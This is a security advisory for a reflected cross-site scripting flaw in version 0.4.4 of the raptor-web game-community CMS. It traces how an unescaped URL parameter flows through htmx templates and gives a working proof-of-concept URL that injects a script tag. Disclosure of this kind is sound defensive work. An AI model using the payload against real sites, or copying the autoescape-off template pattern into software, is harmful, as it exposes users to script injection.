Headline
CVE-2023-49078: Cross-Site Scripting vulnerability in raptor-web 0.4.4
raptor-web is a CMS for game server communities that can be used to host information and keep track of players. In version 0.4.4 of raptor-web, it is possible to craft a malicious URL that will result in a reflected cross-site scripting vulnerability. A user controlled URL parameter is loaded into an internal template that has autoescape disabled. This is a cross-site scripting vulnerability that affects all deployments of raptor-web
on version 0.4.4
. Any victim who clicks on a malicious crafted link will be affected. This issue has been patched 0.4.4.1.
Patched
This XSS vulnerability has been patched in v0.4.4.1
Thanks a ton to @ejedev for finding this and reporting it!
Summary
Starting in version 0.4.4 of raptor-web, it is possible to craft a malicious URL that will result in a reflected cross-site scripting vulnerability. A user controlled URL parameter is loaded into an internal template that has autoescape disabled.
Details
To show the flow of this vulnerability we will start off with a request made to /announcements?server=test
The base template is loaded, located here: https://github.com/zediious/raptor-web/blob/d53f46bed260ed23742a89e6a414228b75dab797/raptorWeb/templates/raptormc/base.html
It builds the following htmx object, which on load will automatically send a GET request to raptormc/api/html/announcements?server=test
<div hx-get="/raptormc/api/html/{{request.path|strip_slash}}{% if request.GET %}?{% for param in request.GET %}{{param}}={% get_param param %}{% endfor %}{% endif %}"
hx-trigger=’load’
hx-target=’#home’
hx-swap="innerHTML"
hx-indicator="#mainLoadingspinner">
</div>
The TemplateView for announcements is rendered here:
class Announcements(TemplateView):
“"”
Page containing the last 30 announcements from Discord
“"”
template_name: str = join(
TEMPLATE_DIR_RAPTORMC, ‘defaultpages/announcements.html’)
def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:
if not DefaultPages.objects.get_or_create(pk=1)[0].announcements:
return HttpResponseRedirect(‘/404’)
if request.headers.get(‘HX-Request’) != "true":
return HttpResponseRedirect(‘/404’)
return super().get(request, *args, **kwargs)
def get_context_data(self, **kwargs: dict[str, Any]) -> dict[str, Any]:
context: dict[str, Any] = super().get_context_data(**kwargs)
if self.request.GET:
context[‘opened_server_pk’] = self.request.GET.get(‘server’)
return get_or_create_informative_text(
context = context,
informative_text_names = [“Announcements Information”])
The get_context_data method sets opened_server_pk equal to the URL parameter server.
context[‘opened_server_pk’] = self.request.GET.get(‘server’)
This template is not accessible directly, and requires the header HX-Request to be set to true. This is done by the hx-get div loaded in the base.
The announcements template itself is located here: https://github.com/zediious/raptor-web/blob/2776281eb12fa04eca177bbfe92a4cfcd74ba391/raptorWeb/templates/raptormc/defaultpages/announcements.html
It notably sets {% autoescape off %} for the majority of the template:
The template attempts to build a second htmx object, making a call to the server_announcements_poll endpoint:
<div id="server_announcements"
hx-get="{% url ‘gameservers:server_announcements_poll’ %}{% if request.GET %}?server={{opened_server_pk}}{% endif %}"
hx-trigger="load"
hx-target="#server_announcements"
hx-swap="outerHTML"></div>
</div>
However, since there is no autoescape enabled, we are able to inject Javacript as we have full control over the opened_server_pk value being rendered. The original hx-get call from the base template will inject the results of this secondary template as innerHTML, rendering it for the user.
PoC
We’ll make the following request to the server: /announcements?server=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2fscript%3E. When URL decoded, it looks like this:
/announcements?server="><script>alert(“XSS”)</script>
This results in the base template rendering an htmx object that looks like this:
<div hx-get\="/raptormc/api/html/announcements?server="><script>alert("XSS")</script>"
hx-trigger\='load'
hx-target\='#home'
hx-swap\="innerHTML"
hx-indicator\="#mainLoadingspinner"\>
</div\>
Once the page loads, it makes a GET request to /raptormc/api/html/announcements?server=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E.
This request renders the announcements template, and includes an htmx object that looks like this:
<div id\="server\_announcements"
hx-get\="/api/servers/html/server\_announcements\_poll/?server="\><script\>alert("XSS")</script\>"
hx-trigger="load"
hx-target="#server\_announcements"
hx-swap="outerHTML"\></div\>
As we can see, we were able to escape from the hx-get attribute as the template does not have autoescape enabled. We injected a script object which is then returned all the way to the original base template and executed, causing a cross-site scripting vulnerability to occur.
The PoC url to test this is https://SITE.COM/announcements?server=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2fscript%3E
Impact
This is a cross-site scripting vulnerability that affects all deployments of raptor-web on version 0.4.4. Any victim who clicks on a malicious crafted link will be affected.